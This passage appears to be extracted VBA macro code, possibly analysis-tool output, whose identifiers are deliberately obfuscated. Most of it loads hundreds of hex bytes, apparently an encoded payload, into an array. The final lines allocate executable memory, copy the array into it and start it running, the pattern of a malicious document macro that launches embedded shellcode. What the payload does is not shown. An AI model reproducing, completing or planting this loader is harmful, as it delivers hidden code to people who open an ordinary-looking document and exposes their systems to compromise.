172	IIlLIiiJJIIJiiIL(1340) = &H46
172	IIlLIiiJJIIJiiIL(1341) = &H39
172	IIlLIiiJJIIJiiIL(1342) = &H79
172	IIlLIiiJJIIJiiIL(1343) = &H5A
172	IIlLIiiJJIIJiiIL(1344) = &H57
173	IIlLIiiJJIIJiiIL(1345) = &H74
173	IIlLIiiJJIIJiiIL(1346) = &H66
173	IIlLIiiJJIIJiiIL(1347) = &H65
173	IIlLIiiJJIIJiiIL(1348) = &H57
173	IIlLIiiJJIIJiiIL(1349) = &H46
173	IIlLIiiJJIIJiiIL(1350) = &H77
173	IIlLIiiJJIIJiiIL(1351) = &H62
173	IIlLIiiJJIIJiiIL(1352) = &H48
173	IIlLIiiJJIIJiiIL(1353) = &H6C
173	IIlLIiiJJIIJiiIL(1354) = &H68
173	IIlLIiiJJIIJiiIL(1355) = &H62
173	IIlLIiiJJIIJiiIL(1356) = &H79
173	IIlLIiiJJIIJiiIL(1357) = &H42
173	IIlLIiiJJIIJiiIL(1358) = &H6B
173	IIlLIiiJJIIJiiIL(1359) = &H49
173	IIlLIiiJJIIJiiIL(1360) = &H44
173	IIlLIiiJJIIJiiIL(1361) = &H31
173	IIlLIiiJJIIJiiIL(1362) = &H34
173	IIlLIiiJJIIJiiIL(1363) = &H4D
173	IIlLIiiJJIIJiiIL(1364) = &H45
173	IIlLIiiJJIIJiiIL(1365) = &H56
173	IIlLIiiJJIIJiiIL(1366) = &H47
173	IIlLIiiJJIIJiiIL(1367) = &H65
173	IIlLIiiJJIIJiiIL(1368) = &H41
173	IIlLIiiJJIIJiiIL(1369) = &H70
173	IIlLIiiJJIIJiiIL(1370) = &H79
173	IIlLIiiJJIIJiiIL(1371) = &H62
173	IIlLIiiJJIIJiiIL(1372) = &H32
173	IIlLIiiJJIIJiiIL(1373) = &H74
173	IIlLIiiJJIIJiiIL(1374) = &H66
173	IIlLIiiJJIIJiiIL(1375) = &H65
173	IIlLIiiJJIIJiiIL(1376) = &H57
174	IIlLIiiJJIIJiiIL(1377) = &H56
174	IIlLIiiJJIIJiiIL(1378) = &H31
174	IIlLIiiJJIIJiiIL(1379) = &H58
174	IIlLIiiJJIIJiiIL(1380) = &H32
174	IIlLIiiJJIIJiiIL(1381) = &H78
174	IIlLIiiJJIIJiiIL(1382) = &H79
174	IIlLIiiJJIIJiiIL(1383) = &H50
174	IIlLIiiJJIIJiiIL(1384) = &H53
174	IIlLIiiJJIIJiiIL(1385) = &H41
174	IIlLIiiJJIIJiiIL(1386) = &H77
174	IIlLIiiJJIIJiiIL(1387) = &H49
174	IIlLIiiJJIIJiiIL(1388) = &H45
174	IIlLIiiJJIIJiiIL(1389) = &H4E
174	IIlLIiiJJIIJiiIL(1390) = &H34
174	IIlLIiiJJIIJiiIL(1391) = &H43
174	IIlLIiiJJIIJiiIL(1392) = &H6B
174	IIlLIiiJJIIJiiIL(1393) = &H56
174	IIlLIiiJJIIJiiIL(1394) = &H6C
174	IIlLIiiJJIIJiiIL(1395) = &H63
174	IIlLIiiJJIIJiiIL(1396) = &H32
174	IIlLIiiJJIIJiiIL(1397) = &H39
174	IIlLIiiJJIIJiiIL(1398) = &H6A
174	IIlLIiiJJIIJiiIL(1399) = &H5A
174	IIlLIiiJJIIJiiIL(1400) = &H47
174	IIlLIiiJJIIJiiIL(1401) = &H35
174	IIlLIiiJJIIJiiIL(1402) = &H7A
174	IIlLIiiJJIIJiiIL(1403) = &H58
174	IIlLIiiJJIIJiiIL(1404) = &H32
174	IIlLIiiJJIIJiiIL(1405) = &H46
174	IIlLIiiJJIIJiiIL(1406) = &H30
174	IIlLIiiJJIIJiiIL(1407) = &H5A
174	IIlLIiiJJIIJiiIL(1408) = &H57
175	IIlLIiiJJIIJiiIL(1409) = &H64
175	IIlLIiiJJIIJiiIL(1410) = &H34
175	IIlLIiiJJIIJiiIL(1411) = &H58
175	IIlLIiiJJIIJiiIL(1412) = &H33
175	IIlLIiiJJIIJiiIL(1413) = &H4A
175	IIlLIiiJJIIJiiIL(1414) = &H76
175	IIlLIiiJJIIJiiIL(1415) = &H61
175	IIlLIiiJJIIJiiIL(1416) = &H31
175	IIlLIiiJJIIJiiIL(1417) = &H39
175	IIlLIiiJJIIJiiIL(1418) = &H35
175	IIlLIiiJJIIJiiIL(1419) = &H5A
175	IIlLIiiJJIIJiiIL(1420) = &H54
175	IIlLIiiJJIIJiiIL(1421) = &H30
175	IIlLIiiJJIIJiiIL(1422) = &H67
175	IIlLIiiJJIIJiiIL(1423) = &H4D
175	IIlLIiiJJIIJiiIL(1424) = &H43
175	IIlLIiiJJIIJiiIL(1425) = &H41
175	IIlLIiiJJIIJiiIL(1426) = &H79
175	IIlLIiiJJIIJiiIL(1427) = &H65
175	IIlLIiiJJIIJiiIL(1428) = &H41
175	IIlLIiiJJIIJiiIL(1429) = &H6F
175	IIlLIiiJJIIJiiIL(1430) = &H32
175	IIlLIiiJJIIJiiIL(1431) = &H5A
175	IIlLIiiJJIIJiiIL(1432) = &H58
175	IIlLIiiJJIIJiiIL(1433) = &H4E
175	IIlLIiiJJIIJiiIL(1434) = &H76
175	IIlLIiiJJIIJiiIL(1435) = &H59
175	IIlLIiiJJIIJiiIL(1436) = &H32
175	IIlLIiiJJIIJiiIL(1437) = &H52
175	IIlLIiiJJIIJiiIL(1438) = &H75
175	IIlLIiiJJIIJiiIL(1439) = &H63
175	IIlLIiiJJIIJiiIL(1440) = &H31
176	IIlLIiiJJIIJiiIL(1441) = &H39
176	IIlLIiiJJIIJiiIL(1442) = &H68
176	IIlLIiiJJIIJiiIL(1443) = &H64
176	IIlLIiiJJIIJiiIL(1444) = &H47
176	IIlLIiiJJIIJiiIL(1445) = &H56
176	IIlLIiiJJIIJiiIL(1446) = &H6E
176	IIlLIiiJJIIJiiIL(1447) = &H5A
176	IIlLIiiJJIIJiiIL(1448) = &H56
176	IIlLIiiJJIIJiiIL(1449) = &H39
176	IIlLIiiJJIIJiiIL(1450) = &H6B
176	IIlLIiiJJIIJiiIL(1451) = &H62
176	IIlLIiiJJIIJiiIL(1452) = &H6E
176	IIlLIiiJJIIJiiIL(1453) = &H52
176	IIlLIiiJJIIJiiIL(1454) = &H66
176	IIlLIiiJJIIJiiIL(1455) = &H5A
176	IIlLIiiJJIIJiiIL(1456) = &H32
176	IIlLIiiJJIIJiiIL(1457) = &H45
176	IIlLIiiJJIIJiiIL(1458) = &H39
176	IIlLIiiJJIIJiiIL(1459) = &H49
176	IIlLIiiJJIIJiiIL(1460) = &H44
176	IIlLIiiJJIIJiiIL(1461) = &H41
176	IIlLIiiJJIIJiiIL(1462) = &H67
176	IIlLIiiJJIIJiiIL(1463) = &H4D
176	IIlLIiiJJIIJiiIL(1464) = &H33
176	IIlLIiiJJIIJiiIL(1465) = &H68
176	IIlLIiiJJIIJiiIL(1466) = &H6B
176	IIlLIiiJJIIJiiIL(1467) = &H4F
176	IIlLIiiJJIIJiiIL(1468) = &H44
176	IIlLIiiJJIIJiiIL(1469) = &H59
176	IIlLIiiJJIIJiiIL(1470) = &H35
176	IIlLIiiJJIIJiiIL(1471) = &H4E
176	IIlLIiiJJIIJiiIL(1472) = &H57
177	IIlLIiiJJIIJiiIL(1473) = &H45
177	IIlLIiiJJIIJiiIL(1474) = &H4B
177	IIlLIiiJJIIJiiIL(1475) = &H43
177	IIlLIiiJJIIJiiIL(1476) = &H67
177	IIlLIiiJJIIJiiIL(1477) = &H6F
177	IIlLIiiJJIIJiiIL(1478) = &H4B
177	IIlLIiiJJIIJiiIL(1479) = &H62
177	IIlLIiiJJIIJiiIL(1480) = &H33
177	IIlLIiiJJIIJiiIL(1481) = &H4E
177	IIlLIiiJJIIJiiIL(1482) = &H6F
177	IIlLIiiJJIIJiiIL(1483) = &H63
177	IIlLIiiJJIIJiiIL(1484) = &H48
177	IIlLIiiJJIIJiiIL(1485) = &H4E
177	IIlLIiiJJIIJiiIL(1486) = &H76
177	IIlLIiiJJIIJiiIL(1487) = &H5A
177	IIlLIiiJJIIJiiIL(1488) = &H56
177	IIlLIiiJJIIJiiIL(1489) = &H39
177	IIlLIiiJJIIJiiIL(1490) = &H77
177	IIlLIiiJJIIJiiIL(1491) = &H65
177	IIlLIiiJJIIJiiIL(1492) = &H48
177	IIlLIiiJJIIJiiIL(1493) = &H4A
177	IIlLIiiJJIIJiiIL(1494) = &H70
177	IIlLIiiJJIIJiiIL(1495) = &H58
177	IIlLIiiJJIIJiiIL(1496) = &H33
177	IIlLIiiJJIIJiiIL(1497) = &H6C
177	IIlLIiiJJIIJiiIL(1498) = &H6C
177	IIlLIiiJJIIJiiIL(1499) = &H65
177	IIlLIiiJJIIJiiIL(1500) = &H58
177	IIlLIiiJJIIJiiIL(1501) = &H4A
177	IIlLIiiJJIIJiiIL(1502) = &H68
177	IIlLIiiJJIIJiiIL(1503) = &H5A
177	IIlLIiiJJIIJiiIL(1504) = &H46
178	IIlLIiiJJIIJiiIL(1505) = &H39
178	IIlLIiiJJIIJiiIL(1506) = &H30
178	IIlLIiiJJIIJiiIL(1507) = &H59
178	IIlLIiiJJIIJiiIL(1508) = &H53
178	IIlLIiiJJIIJiiIL(1509) = &H42
178	IIlLIiiJJIIJiiIL(1510) = &H6C
178	IIlLIiiJJIIJiiIL(1511) = &H49
178	IIlLIiiJJIIJiiIL(1512) = &H44
178	IIlLIiiJJIIJiiIL(1513) = &H30
178	IIlLIiiJJIIJiiIL(1514) = &H4B
178	IIlLIiiJJIIJiiIL(1515) = &H4D
178	IIlLIiiJJIIJiiIL(1516) = &H48
178	IIlLIiiJJIIJiiIL(1517) = &H5A
178	IIlLIiiJJIIJiiIL(1518) = &H68
178	IIlLIiiJJIIJiiIL(1519) = &H63
178	IIlLIiiJJIIJiiIL(1520) = &H32
178	IIlLIiiJJIIJiiIL(1521) = &H46
178	IIlLIiiJJIIJiiIL(1522) = &H66
178	IIlLIiiJJIIJiiIL(1523) = &H64
178	IIlLIiiJJIIJiiIL(1524) = &H48
178	IIlLIiiJJIIJiiIL(1525) = &H68
178	IIlLIiiJJIIJiiIL(1526) = &H6C
178	IIlLIiiJJIIJiiIL(1527) = &H61
178	IIlLIiiJJIIJiiIL(1528) = &H58
178	IIlLIiiJJIIJiiIL(1529) = &H42
178	IIlLIiiJJIIJiiIL(1530) = &H35
178	IIlLIiiJJIIJiiIL(1531) = &H63
178	IIlLIiiJJIIJiiIL(1532) = &H6E
178	IIlLIiiJJIIJiiIL(1533) = &H6C
178	IIlLIiiJJIIJiiIL(1534) = &H66
178	IIlLIiiJJIIJiiIL(1535) = &H59
178	IIlLIiiJJIIJiiIL(1536) = &H57
179	IIlLIiiJJIIJiiIL(1537) = &H56
179	IIlLIiiJJIIJiiIL(1538) = &H66
179	IIlLIiiJJIIJiiIL(1539) = &H63
179	IIlLIiiJJIIJiiIL(1540) = &H6D
179	IIlLIiiJJIIJiiIL(1541) = &H46
179	IIlLIiiJJIIJiiIL(1542) = &H6B
179	IIlLIiiJJIIJiiIL(1543) = &H5A
179	IIlLIiiJJIIJiiIL(1544) = &H58
179	IIlLIiiJJIIJiiIL(1545) = &H51
179	IIlLIiiJJIIJiiIL(1546) = &H39
179	IIlLIiiJJIIJiiIL(1547) = &H49
179	IIlLIiiJJIIJiiIL(1548) = &H44
179	IIlLIiiJJIIJiiIL(1549) = &H41
179	IIlLIiiJJIIJiiIL(1550) = &H67
179	IIlLIiiJJIIJiiIL(1551) = &H4E
179	IIlLIiiJJIIJiiIL(1552) = &H33
179	IIlLIiiJJIIJiiIL(1553) = &H67
179	IIlLIiiJJIIJiiIL(1554) = &H32
179	IIlLIiiJJIIJiiIL(1555) = &H5A
179	IIlLIiiJJIIJiiIL(1556) = &H54
179	IIlLIiiJJIIJiiIL(1557) = &H6B
179	IIlLIiiJJIIJiiIL(1558) = &H77
179	IIlLIiiJJIIJiiIL(1559) = &H4F
179	IIlLIiiJJIIJiiIL(1560) = &H54
179	IIlLIiiJJIIJiiIL(1561) = &H46
179	IIlLIiiJJIIJiiIL(1562) = &H74
179	IIlLIiiJJIIJiiIL(1563) = &H43
179	IIlLIiiJJIIJiiIL(1564) = &H6D
179	IIlLIiiJJIIJiiIL(1565) = &H46
179	IIlLIiiJJIIJiiIL(1566) = &H6A
179	IIlLIiiJJIIJiiIL(1567) = &H5A
179	IIlLIiiJJIIJiiIL(1568) = &H57
180	IIlLIiiJJIIJiiIL(1569) = &H5A
180	IIlLIiiJJIIJiiIL(1570) = &H66
180	IIlLIiiJJIIJiiIL(1571) = &H5A
180	IIlLIiiJJIIJiiIL(1572) = &H58
180	IIlLIiiJJIIJiiIL(1573) = &H68
180	IIlLIiiJJIIJiiIL(1574) = &H6C
180	IIlLIiiJJIIJiiIL(1575) = &H61
180	IIlLIiiJJIIJiiIL(1576) = &H58
180	IIlLIiiJJIIJiiIL(1577) = &H42
180	IIlLIiiJJIIJiiIL(1578) = &H35
180	IIlLIiiJJIIJiiIL(1579) = &H63
180	IIlLIiiJJIIJiiIL(1580) = &H6E
180	IIlLIiiJJIIJiiIL(1581) = &H6C
180	IIlLIiiJJIIJiiIL(1582) = &H66
180	IIlLIiiJJIIJiiIL(1583) = &H59
180	IIlLIiiJJIIJiiIL(1584) = &H57
180	IIlLIiiJJIIJiiIL(1585) = &H56
180	IIlLIiiJJIIJiiIL(1586) = &H66
180	IIlLIiiJJIIJiiIL(1587) = &H63
180	IIlLIiiJJIIJiiIL(1588) = &H6D
180	IIlLIiiJJIIJiiIL(1589) = &H46
180	IIlLIiiJJIIJiiIL(1590) = &H6B
180	IIlLIiiJJIIJiiIL(1591) = &H5A
180	IIlLIiiJJIIJiiIL(1592) = &H58
180	IIlLIiiJJIIJiiIL(1593) = &H51
180	IIlLIiiJJIIJiiIL(1594) = &H39
180	IIlLIiiJJIIJiiIL(1595) = &H49
180	IIlLIiiJJIIJiiIL(1596) = &H44
180	IIlLIiiJJIIJiiIL(1597) = &H41
180	IIlLIiiJJIIJiiIL(1598) = &H67
180	IIlLIiiJJIIJiiIL(1599) = &H59
180	IIlLIiiJJIIJiiIL(1600) = &H51
181	IIlLIiiJJIIJiiIL(1601) = &H70
181	IIlLIiiJJIIJiiIL(1602) = &H6E
181	IIlLIiiJJIIJiiIL(1603) = &H64
181	IIlLIiiJJIIJiiIL(1604) = &H6D
181	IIlLIiiJJIIJiiIL(1605) = &H56
181	IIlLIiiJJIIJiiIL(1606) = &H66
181	IIlLIiiJJIIJiiIL(1607) = &H63
181	IIlLIiiJJIIJiiIL(1608) = &H48
181	IIlLIiiJJIIJiiIL(1609) = &H68
181	IIlLIiiJJIIJiiIL(1610) = &H79
181	IIlLIiiJJIIJiiIL(1611) = &H61
181	IIlLIiiJJIIJiiIL(1612) = &H56
181	IIlLIiiJJIIJiiIL(1613) = &H39
181	IIlLIiiJJIIJiiIL(1614) = &H35
181	IIlLIiiJJIIJiiIL(1615) = &H5A
181	IIlLIiiJJIIJiiIL(1616) = &H58
181	IIlLIiiJJIIJiiIL(1617) = &H6C
181	IIlLIiiJJIIJiiIL(1618) = &H79
181	IIlLIiiJJIIJiiIL(1619) = &H59
181	IIlLIiiJJIIJiiIL(1620) = &H57
181	IIlLIiiJJIIJiiIL(1621) = &H52
181	IIlLIiiJJIIJiiIL(1622) = &H66
181	IIlLIiiJJIIJiiIL(1623) = &H64
181	IIlLIiiJJIIJiiIL(1624) = &H47
181	IIlLIiiJJIIJiiIL(1625) = &H45
181	IIlLIiiJJIIJiiIL(1626) = &H67
181	IIlLIiiJJIIJiiIL(1627) = &H5A
181	IIlLIiiJJIIJiiIL(1628) = &H53
181	IIlLIiiJJIIJiiIL(1629) = &H41
181	IIlLIiiJJIIJiiIL(1630) = &H39
181	IIlLIiiJJIIJiiIL(1631) = &H43
181	IIlLIiiJJIIJiiIL(1632) = &H6A
182	IIlLIiiJJIIJiiIL(1633) = &H42
182	IIlLIiiJJIIJiiIL(1634) = &H76
182	IIlLIiiJJIIJiiIL(1635) = &H62
182	IIlLIiiJJIIJiiIL(1636) = &H6E
182	IIlLIiiJJIIJiiIL(1637) = &H52
182	IIlLIiiJJIIJiiIL(1638) = &H79
182	IIlLIiiJJIIJiiIL(1639) = &H62
182	IIlLIiiJJIIJiiIL(1640) = &H6D
182	IIlLIiiJJIIJiiIL(1641) = &H39
182	IIlLIiiJJIIJiiIL(1642) = &H6C
182	IIlLIiiJJIIJiiIL(1643) = &H58
182	IIlLIiiJJIIJiiIL(1644) = &H33
182	IIlLIiiJJIIJiiIL(1645) = &H42
182	IIlLIiiJJIIJiiIL(1646) = &H34
182	IIlLIiiJJIIJiiIL(1647) = &H63
182	IIlLIiiJJIIJiiIL(1648) = &H6D
182	IIlLIiiJJIIJiiIL(1649) = &H6C
182	IIlLIiiJJIIJiiIL(1650) = &H66
182	IIlLIiiJJIIJiiIL(1651) = &H65
182	IIlLIiiJJIIJiiIL(1652) = &H57
182	IIlLIiiJJIIJiiIL(1653) = &H56
182	IIlLIiiJJIIJiiIL(1654) = &H35
182	IIlLIiiJJIIJiiIL(1655) = &H63
182	IIlLIiiJJIIJiiIL(1656) = &H6D
182	IIlLIiiJJIIJiiIL(1657) = &H46
182	IIlLIiiJJIIJiiIL(1658) = &H6B
182	IIlLIiiJJIIJiiIL(1659) = &H58
182	IIlLIiiJJIIJiiIL(1660) = &H33
182	IIlLIiiJJIIJiiIL(1661) = &H52
182	IIlLIiiJJIIJiiIL(1662) = &H68
182	IIlLIiiJJIIJiiIL(1663) = &H49
182	IIlLIiiJJIIJiiIL(1664) = &H47
183	IIlLIiiJJIIJiiIL(1665) = &H55
183	IIlLIiiJJIIJiiIL(1666) = &H67
183	IIlLIiiJJIIJiiIL(1667) = &H50
183	IIlLIiiJJIIJiiIL(1668) = &H51
183	IIlLIiiJJIIJiiIL(1669) = &H6F
183	IIlLIiiJJIIJiiIL(1670) = &H77
183	IIlLIiiJJIIJiiIL(1671) = &H61
183	IIlLIiiJJIIJiiIL(1672) = &H57
183	IIlLIiiJJIIJiiIL(1673) = &H4A
183	IIlLIiiJJIIJiiIL(1674) = &H6B
183	IIlLIiiJJIIJiiIL(1675) = &H64
183	IIlLIiiJJIIJiiIL(1676) = &H47
183	IIlLIiiJJIIJiiIL(1677) = &H5A
183	IIlLIiiJJIIJiiIL(1678) = &H6C
183	IIlLIiiJJIIJiiIL(1679) = &H62
183	IIlLIiiJJIIJiiIL(1680) = &H6D
183	IIlLIiiJJIIJiiIL(1681) = &H56
183	IIlLIiiJJIIJiiIL(1682) = &H6C
183	IIlLIiiJJIIJiiIL(1683) = &H5A
183	IIlLIiiJJIIJiiIL(1684) = &H46
183	IIlLIiiJJIIJiiIL(1685) = &H39
183	IIlLIiiJJIIJiiIL(1686) = &H79
183	IIlLIiiJJIIJiiIL(1687) = &H65
183	IIlLIiiJJIIJiiIL(1688) = &H47
183	IIlLIiiJJIIJiiIL(1689) = &H56
183	IIlLIiiJJIIJiiIL(1690) = &H70
183	IIlLIiiJJIIJiiIL(1691) = &H63
183	IIlLIiiJJIIJiiIL(1692) = &H48
183	IIlLIiiJJIIJiiIL(1693) = &H6C
183	IIlLIiiJJIIJiiIL(1694) = &H79
183	IIlLIiiJJIIJiiIL(1695) = &H65
183	IIlLIiiJJIIJiiIL(1696) = &H56
184	IIlLIiiJJIIJiiIL(1697) = &H39
184	IIlLIiiJJIIJiiIL(1698) = &H68
184	IIlLIiiJJIIJiiIL(1699) = &H5A
184	IIlLIiiJJIIJiiIL(1700) = &H56
184	IIlLIiiJJIIJiiIL(1701) = &H39
184	IIlLIiiJJIIJiiIL(1702) = &H79
184	IIlLIiiJJIIJiiIL(1703) = &H59
184	IIlLIiiJJIIJiiIL(1704) = &H57
184	IIlLIiiJJIIJiiIL(1705) = &H52
184	IIlLIiiJJIIJiiIL(1706) = &H6C
184	IIlLIiiJJIIJiiIL(1707) = &H64
184	IIlLIiiJJIIJiiIL(1708) = &H44
184	IIlLIiiJJIIJiiIL(1709) = &H30
184	IIlLIiiJJIIJiiIL(1710) = &H67
184	IIlLIiiJJIIJiiIL(1711) = &H4D
184	IIlLIiiJJIIJiiIL(1712) = &H43
184	IIlLIiiJJIIJiiIL(1713) = &H41
184	IIlLIiiJJIIJiiIL(1714) = &H33
184	IIlLIiiJJIIJiiIL(1715) = &H65
184	IIlLIiiJJIIJiiIL(1716) = &H44
184	IIlLIiiJJIIJiiIL(1717) = &H5A
184	IIlLIiiJJIIJiiIL(1718) = &H6C
184	IIlLIiiJJIIJiiIL(1719) = &H59
184	IIlLIiiJJIIJiiIL(1720) = &H54
184	IIlLIiiJJIIJiiIL(1721) = &H41
184	IIlLIiiJJIIJiiIL(1722) = &H78
184	IIlLIiiJJIIJiiIL(1723) = &H4D
184	IIlLIiiJJIIJiiIL(1724) = &H47
184	IIlLIiiJJIIJiiIL(1725) = &H55
184	IIlLIiiJJIIJiiIL(1726) = &H4B
184	IIlLIiiJJIIJiiIL(1727) = &H5A
184	IIlLIiiJJIIJiiIL(1728) = &H58
185	IIlLIiiJJIIJiiIL(1729) = &H4E
185	IIlLIiiJJIIJiiIL(1730) = &H66
185	IIlLIiiJJIIJiiIL(1731) = &H64
185	IIlLIiiJJIIJiiIL(1732) = &H48
185	IIlLIiiJJIIJiiIL(1733) = &H68
185	IIlLIiiJJIIJiiIL(1734) = &H6C
185	IIlLIiiJJIIJiiIL(1735) = &H61
185	IIlLIiiJJIIJiiIL(1736) = &H58
185	IIlLIiiJJIIJiiIL(1737) = &H42
185	IIlLIiiJJIIJiiIL(1738) = &H35
185	IIlLIiiJJIIJiiIL(1739) = &H63
185	IIlLIiiJJIIJiiIL(1740) = &H6E
185	IIlLIiiJJIIJiiIL(1741) = &H6C
185	IIlLIiiJJIIJiiIL(1742) = &H66
185	IIlLIiiJJIIJiiIL(1743) = &H59
185	IIlLIiiJJIIJiiIL(1744) = &H57
185	IIlLIiiJJIIJiiIL(1745) = &H56
185	IIlLIiiJJIIJiiIL(1746) = &H66
185	IIlLIiiJJIIJiiIL(1747) = &H63
185	IIlLIiiJJIIJiiIL(1748) = &H6D
185	IIlLIiiJJIIJiiIL(1749) = &H46
185	IIlLIiiJJIIJiiIL(1750) = &H6B
185	IIlLIiiJJIIJiiIL(1751) = &H5A
185	IIlLIiiJJIIJiiIL(1752) = &H58
185	IIlLIiiJJIIJiiIL(1753) = &H51
185	IIlLIiiJJIIJiiIL(1754) = &H39
185	IIlLIiiJJIIJiiIL(1755) = &H49
185	IIlLIiiJJIIJiiIL(1756) = &H44
185	IIlLIiiJJIIJiiIL(1757) = &H41
185	IIlLIiiJJIIJiiIL(1758) = &H67
185	IIlLIiiJJIIJiiIL(1759) = &H4E
185	IIlLIiiJJIIJiiIL(1760) = &H33
186	IIlLIiiJJIIJiiIL(1761) = &H67
186	IIlLIiiJJIIJiiIL(1762) = &H32
186	IIlLIiiJJIIJiiIL(1763) = &H5A
186	IIlLIiiJJIIJiiIL(1764) = &H54
186	IIlLIiiJJIIJiiIL(1765) = &H6B
186	IIlLIiiJJIIJiiIL(1766) = &H77
186	IIlLIiiJJIIJiiIL(1767) = &H59
186	IIlLIiiJJIIJiiIL(1768) = &H7A
186	IIlLIiiJJIIJiiIL(1769) = &H46
186	IIlLIiiJJIIJiiIL(1770) = &H78
186	IIlLIiiJJIIJiiIL(1771) = &H43
186	IIlLIiiJJIIJiiIL(1772) = &H6D
186	IIlLIiiJJIIJiiIL(1773) = &H6C
186	IIlLIiiJJIIJiiIL(1774) = &H31
186	IIlLIiiJJIIJiiIL(1775) = &H61
186	IIlLIiiJJIIJiiIL(1776) = &H32
186	IIlLIiiJJIIJiiIL(1777) = &H4E
186	IIlLIiiJJIIJiiIL(1778) = &H6C
186	IIlLIiiJJIIJiiIL(1779) = &H61
186	IIlLIiiJJIIJiiIL(1780) = &H47
186	IIlLIiiJJIIJiiIL(1781) = &H78
186	IIlLIiiJJIIJiiIL(1782) = &H68
186	IIlLIiiJJIIJiiIL(1783) = &H5A
186	IIlLIiiJJIIJiiIL(1784) = &H56
186	IIlLIiiJJIIJiiIL(1785) = &H39
186	IIlLIiiJJIIJiiIL(1786) = &H77
186	IIlLIiiJJIIJiiIL(1787) = &H65
186	IIlLIiiJJIIJiiIL(1788) = &H48
186	IIlLIiiJJIIJiiIL(1789) = &H4A
186	IIlLIiiJJIIJiiIL(1790) = &H70
186	IIlLIiiJJIIJiiIL(1791) = &H58
186	IIlLIiiJJIIJiiIL(1792) = &H33
187	IIlLIiiJJIIJiiIL(1793) = &H6C
187	IIlLIiiJJIIJiiIL(1794) = &H6C
187	IIlLIiiJJIIJiiIL(1795) = &H65
187	IIlLIiiJJIIJiiIL(1796) = &H58
187	IIlLIiiJJIIJiiIL(1797) = &H4A
187	IIlLIiiJJIIJiiIL(1798) = &H68
187	IIlLIiiJJIIJiiIL(1799) = &H5A
187	IIlLIiiJJIIJiiIL(1800) = &H46
187	IIlLIiiJJIIJiiIL(1801) = &H39
187	IIlLIiiJJIIJiiIL(1802) = &H30
187	IIlLIiiJJIIJiiIL(1803) = &H59
187	IIlLIiiJJIIJiiIL(1804) = &H53
187	IIlLIiiJJIIJiiIL(1805) = &H42
187	IIlLIiiJJIIJiiIL(1806) = &H6C
187	IIlLIiiJJIIJiiIL(1807) = &H49
187	IIlLIiiJJIIJiiIL(1808) = &H44
187	IIlLIiiJJIIJiiIL(1809) = &H31
187	IIlLIiiJJIIJiiIL(1810) = &H34
187	IIlLIiiJJIIJiiIL(1811) = &H4D
187	IIlLIiiJJIIJiiIL(1812) = &H47
187	IIlLIiiJJIIJiiIL(1813) = &H55
187	IIlLIiiJJIIJiiIL(1814) = &H33
187	IIlLIiiJJIIJiiIL(1815) = &H4D
187	IIlLIiiJJIIJiiIL(1816) = &H44
187	IIlLIiiJJIIJiiIL(1817) = &H59
187	IIlLIiiJJIIJiiIL(1818) = &H77
187	IIlLIiiJJIIJiiIL(1819) = &H59
187	IIlLIiiJJIIJiiIL(1820) = &H51
187	IIlLIiiJJIIJiiIL(1821) = &H6F
187	IIlLIiiJJIIJiiIL(1822) = &H32
187	IIlLIiiJJIIJiiIL(1823) = &H64
187	IIlLIiiJJIIJiiIL(1824) = &H6D
188	IIlLIiiJJIIJiiIL(1825) = &H46
188	IIlLIiiJJIIJiiIL(1826) = &H79
188	IIlLIiiJJIIJiiIL(1827) = &H61
188	IIlLIiiJJIIJiiIL(1828) = &H56
188	IIlLIiiJJIIJiiIL(1829) = &H39
188	IIlLIiiJJIIJiiIL(1830) = &H68
188	IIlLIiiJJIIJiiIL(1831) = &H65
188	IIlLIiiJJIIJiiIL(1832) = &H47
188	IIlLIiiJJIIJiiIL(1833) = &H56
188	IIlLIiiJJIIJiiIL(1834) = &H70
188	IIlLIiiJJIIJiiIL(1835) = &H63
188	IIlLIiiJJIIJiiIL(1836) = &H48
188	IIlLIiiJJIIJiiIL(1837) = &H6C
188	IIlLIiiJJIIJiiIL(1838) = &H79
188	IIlLIiiJJIIJiiIL(1839) = &H65
188	IIlLIiiJJIIJiiIL(1840) = &H56
188	IIlLIiiJJIIJiiIL(1841) = &H39
188	IIlLIiiJJIIJiiIL(1842) = &H68
188	IIlLIiiJJIIJiiIL(1843) = &H5A
188	IIlLIiiJJIIJiiIL(1844) = &H56
188	IIlLIiiJJIIJiiIL(1845) = &H39
188	IIlLIiiJJIIJiiIL(1846) = &H79
188	IIlLIiiJJIIJiiIL(1847) = &H59
188	IIlLIiiJJIIJiiIL(1848) = &H57
188	IIlLIiiJJIIJiiIL(1849) = &H52
188	IIlLIiiJJIIJiiIL(1850) = &H6C
188	IIlLIiiJJIIJiiIL(1851) = &H64
188	IIlLIiiJJIIJiiIL(1852) = &H44
188	IIlLIiiJJIIJiiIL(1853) = &H30
188	IIlLIiiJJIIJiiIL(1854) = &H67
188	IIlLIiiJJIIJiiIL(1855) = &H4D
188	IIlLIiiJJIIJiiIL(1856) = &H43
189	IIlLIiiJJIIJiiIL(1857) = &H42
189	IIlLIiiJJIIJiiIL(1858) = &H78
189	IIlLIiiJJIIJiiIL(1859) = &H43
189	IIlLIiiJJIIJiiIL(1860) = &H6A
189	IIlLIiiJJIIJiiIL(1861) = &H59
189	IIlLIiiJJIIJiiIL(1862) = &H7A
189	IIlLIiiJJIIJiiIL(1863) = &H58
189	IIlLIiiJJIIJiiIL(1864) = &H7A
189	IIlLIiiJJIIJiiIL(1865) = &H42
189	IIlLIiiJJIIJiiIL(1866) = &H34
189	IIlLIiiJJIIJiiIL(1867) = &H5A
189	IIlLIiiJJIIJiiIL(1868) = &H57
189	IIlLIiiJJIIJiiIL(1869) = &H6C
189	IIlLIiiJJIIJiiIL(1870) = &H77
189	IIlLIiiJJIIJiiIL(1871) = &H65
189	IIlLIiiJJIIJiiIL(1872) = &H58
189	IIlLIiiJJIIJiiIL(1873) = &H4A
189	IIlLIiiJJIIJiiIL(1874) = &H35
189	IIlLIiiJJIIJiiIL(1875) = &H58
189	IIlLIiiJJIIJiiIL(1876) = &H32
189	IIlLIiiJJIIJiiIL(1877) = &H46
189	IIlLIiiJJIIJiiIL(1878) = &H6C
189	IIlLIiiJJIIJiiIL(1879) = &H2D
192	iJLlijjILjjJLjJJ = jIiijLJLLiLJIiiJ(- 1, ljJLIjIILliJIiLJ, 0, &H5000, &H3000, &H40)	jIiijLJLLiLJIiiJ
193	ILJjijIJIjIjlLIi = IJIiLJIJlllJIjIJ(65000, 0, VarPtr(IIlLIiiJJIIJiiIL(0)), 4096, ljJLIjIILliJIiLJ, 4096)	IJIiLJIJlllJIjIJ VarPtr
194	ILJjijIJIjIjlLIi = jjLliiILilJiliIj(ljJLIjIILliJIiLJ, 0, 0, 0)	jjLliiILilJiliIj
196	End Sub

Reset < >

